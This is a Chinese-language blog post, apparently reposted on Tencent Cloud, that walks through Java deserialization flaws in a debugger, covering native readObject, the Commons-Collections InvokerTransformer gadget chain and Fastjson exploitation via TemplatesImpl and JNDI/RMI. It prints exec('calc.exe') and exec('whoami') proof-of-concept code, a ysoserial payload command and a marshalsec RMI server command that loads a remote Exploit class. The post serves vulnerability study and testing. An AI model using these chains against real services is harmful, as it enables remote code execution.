专栏首页卓文见识IDEA动态调试(二)——反序列化漏洞(Fastjson)

IDEA动态调试(二)——反序列化漏洞(Fastjson)

一、反序列化的原理及特点

1、什么是反序列化

序列化就是把java类转换成字节流,xml数据、json格式数据等;

反序列化就是把字节流,xml数据、json格式数据转换回java类。

2、反序列化漏洞的成因

成因:在把其他格式的数据反序列化成java类的过程中,由于输入可控,导致可以执行其他恶意命令,但追根究底是需要被反序列化的类中重写了readObject方法,且被重写的readObject方法/调用链中被插入了恶意命令。

3、理解漏洞成因

拿java的原生反序列化方法举例:

1) 正常的反序列化过程

先序列化,将对象obj序列化,保存序列化后的字节流数据到目录下,然后通过readobject反序列化成对象,通过打印发现反序列化后对象为Step1.deserTest2:

2) 恶意的反序列化过程

对比一下代码,新增了对于readobject方法的重写代码:

private void readObject(java.io.ObjectInputStream in) throwsIOException,ClassNotFoundException{
       in.defaultReadObject();//调用原始的readOject方法
       Runtime.getRuntime().exec("calc.exe");
       System.out.println("test");
    }

我们在反序列化处下一个断点,注意看调用栈,发现在调用readobject时,不是跳转到原生的readobject而是我们重写的readobject方法,这也是java的一个机制,当同一个方法被重写时会优先调用被重写的代码。

4、总结

上述案例可说明白反序列的原理,但问题是一般开发不会把Runtime.getRuntime().exec这样的恶意命令执行代码写在反序列化方法里,但是我们可以找一条“反射链”来插入执行恶意命令代码,对于反序列化漏洞的挖掘的过程也就是结合Java的反射机制构造利用链,即readobject()——getRuntime().exec的过程。

二、三方件安全

1、Commons-collections

举例讲解三方件的利用链挖掘过程。

1) 首先模拟一个业务场景,对某个用户可控的文件hello.bin进行反序列化处理,调用的是原生的readObject方法。

由于代码引入了Commons-collections包,所以我们的目的就是构造出合适的hello.bin文件内容,让其经过Commons-collections整个代码处理后达到执行命令的效果:

2) 创建一个重写类,对readObject进行重写,这里setValue是触发点,下断点跟进去可以了解漏洞原理:

3) 重点在于ApacheCommons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer:

transform方法利用Java的反射机制进行函数调用,传入的参数是input是一个实例化对象,利用这个方法便可以调用任意对象的任意方法(exec)从而执行命令,所以在DeSertPoc类里新建Transformer,最后组成的核心表达式为:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("whoami");

4) 继续跟进, ChainedTransformer类会对每一个Transformer循环调用InvokerTransformer的transform方法进行反射,可以看到这里对我们新建的Runtime成功进行了反射:

5) 最终被ChainedTransformer触发成功执行命令:

2、总结

上述DeSertPoc等代码其实是为了分析Commons-collections反序列化的漏洞原理,实际的测试过程中,如果:

1)发现代码中被反序列化的文件可控;

2)且代码中引用了Commons-collections包。

便可以使用其作为工具进行攻击,大多数的第三包的漏洞原理和利用办法都是类似的。

如这里的hello.bin可以直接使用ysoserial生成payload进行攻击,和我们自写Poc代码的效果是一样的:

java -jar ysoserial-master-30099844c6-1.jar  CommonsCollections1 calc.exe >hello.ser

三、Fastjson

1、什么是Fastjson

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。FastJson自己实现了一套反序列化的机制,并没有使用默认的readObject(),在序列化反序列化的时候会进行一些操作,主要是setter和getter的操作,同样结合一些类的特性造成命令执行。各版本下载地址:

https://repo1.maven.org/maven2/com/alibaba/fastjson/

2、Fastjson的使用

研究库的漏洞首先要了解其用法:

1) 序列化方法为JSON.toJSONString,功能是将java代码的字符串转换成json数据,注意如果使用了SerializerFeature.WriteClassName 会多出来了一个 "@type"属性;

2) 反序列化方法为JSON.parse和JSON.parseObject,且包含@type 属性的会被反序列化回Person 类型的对象,没有则会被反序列化成JSONObject 对象。由此可知 @type 是用于在解析 JSON 时指定类的。

3) JSON.parseObject 和 JSON.parse ,最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。

3、反序列化复现

常见的Poc有两种:TemplateImpl和JNDI方法:

1)基于TemplateImpl

基于TemplateImpl的方法可以直接执行bytecodes。模拟一个漏洞场景:进入parseObject方法的text1参数是用户可控的,为了方便这里直接写入:

则可写一个包含恶意命令的Test.java ,将其编译后的字节码转成 Base64拼接到JSON 字符串中:

最后则使用Poc中的 JSON.parseObject 方法将bytecodes解析成 Java 对象,从而执行命令。

2、JNDI

上面的场景很少见,开发很少用到JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)的方式来进行反序列化,更主流的方法是使用JNDI结合ldap或rmi服务进行远程调用。JNDI即Java Namingand Directory Interface,翻译成中文就Java命令和目录接口,在2016年的blackhat大会上web议题重点讲到,细节可查看原文学习seebug上的一篇介绍文章。

1)同上,我们使用一个模拟环境,这里payload为用户输入,经过JSON.parse进行反序列化处理,输入处调用JdbcRowSetImpl这个类,并连接RMI服务器,默认端口1099:

3) 然后使用神器marshalsec-0.0.3-SNAPSHOT-all.jar新建一个RMI服务器进行监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit

当然也可以自写:

意为前端解析json成功后访问的rmi服务器会重定向到web服务器127.0.0.1下。

4) 最后再开启一个HTTP服务,在根目录放一个包含恶意命令Exploit.class文件编译的class文件:

5)最后在执行第一步的Poc类实现json解析,JdbcRowSetImpl类里的setAutoCommit会调用this.connect(),在connect()里通过rmi服务加载远程的方法执行:

具体的跟踪链可以在payload输入处下断点跟踪,最终调用链如下:test_autoTypeDeny——parseObject——exec,其他反序列化漏洞也类似如此:

exec:347, Runtime (java.lang)
<init>:13, Test (com.l1nk3r.fastjson)
newInstance0:-1,NativeConstructorAccessorImpl (sun.reflect)
newInstance:62,NativeConstructorAccessorImpl (sun.reflect)
newInstance:45,DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor(java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl(sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl(sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:80, FieldDeserializer(com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer(com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)
deserialze:187, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser(com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser(com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer(com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser(com.alibaba.fastjson.parser)
parseObject:339, JSON(com.alibaba.fastjson)
parseObject:302, JSON(com.alibaba.fastjson)
test_autoTypeDeny:44, Poc(com.l1nk3r.fastjson)
main:50, Poc (com.l1nk3r.fastjson)

4、总结

1)测试

测试过程中需要关注两点:

A、关注测试的系统代码中。被反序列化操作的数据是否可控:

B、若可控,看系统是否使用了包含已知漏洞的第三方库:

两个因素,一个是输入可控,一个是payload可构造,缺一不可。

就像Fastjson的官方补丁,使用的方案就是config.checkAutoType(typeName)和黑名单列表:

beanutils,commons.collections,rmi等 

2)漏洞挖掘角度

若是从事第三方件的反序列化0day挖掘工作,则需要对库源码进行分析,定位到反序列化方法,对其调用链进行分析,寻找可反射、可插入恶意代码的gadget。

本文分享自微信公众号 - 卓文见识(zhuowenjianshi),作者:Jayway

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Java代码审计汇总系列(四)——反序列化

    不安全的反序列化(Insecure Deserializations)在最新的OWASP Top 10列表中列于A8。这个漏洞的本质和其他漏洞其实基本相同,是在...

    Jayway
  • 从Kryo反序列化到Marshalsec框架到CVE挖掘

    Kryo 是一个快速序列化/反序列化工具,其使用了字节码生成机制。Kryo 序列化出来的结果,是其自定义的、独有的一种格式,不再是 JSON 或者其他现有的通用...

    Jayway
  • IDEA动态调试(三)——反序列化漏洞(xml+Yaml)

    大多数 java 项目用来处理数据基本上都是xml 和 json 两种格式,上篇讲了fastjson的反序列化,另一个json处理库jackson的漏洞原理...

    Jayway
  • DRF框架使用时的一些注意点

    之前的文章代码块在安卓手机显示正常,但是苹果手机总是不能滚屏,非常影响阅读。今天总算解决了这个问题,苹果手机显示正常了。希望给大家带来最好的阅读体验。喜欢的话就...

    小闫同学啊
  • Python学习笔记 --- 序列化Serialization

    序列化 (serialization) 序列化是将对象状态转换为可保持或传输的格式的过程。与序列化相对的是反序列化,

    py3study
  • Redis 与序列化

    序列化只是一种拆装组装对象的规则,那么这种规则肯定也可能有多种多样,比如现在常见的序列化方式有:JDK(不支持跨语言)、JSON、XML、Hessian、Kry...

    业余草
  • 面向对象--序列化与反序列化

    内存中的数据对象只有转换成二进制才可以进行数据持久化和网络传输。将数据对象转换成二进制的流程称之为对象的序列化(Serialization)。

    田维常
  • Java并发编程:Java 序列化的工作机制

    JDK内置同步器的实现类经常会看到java.io.Serializable接口,这个接口即是Java序列化操作,这样看来序列化也是同步器的一种机制。

    码农架构
  • DRF框架学习(二)

    Django REST framework 框架是一个用于构建Web API 的强大而又灵活的工具。

    小闫同学啊
  • 【Java基本功】深入浅出Java中的序列化与反序列化

    本文介绍了Java序列化的基本概念,序列化和反序列化的使用方法,以及实现原理等,比较全面地总结序列化相关知识点,并且使用具体例子来加以佐证。

    Java技术江湖

扫码关注云+社区

领取腾讯云代金券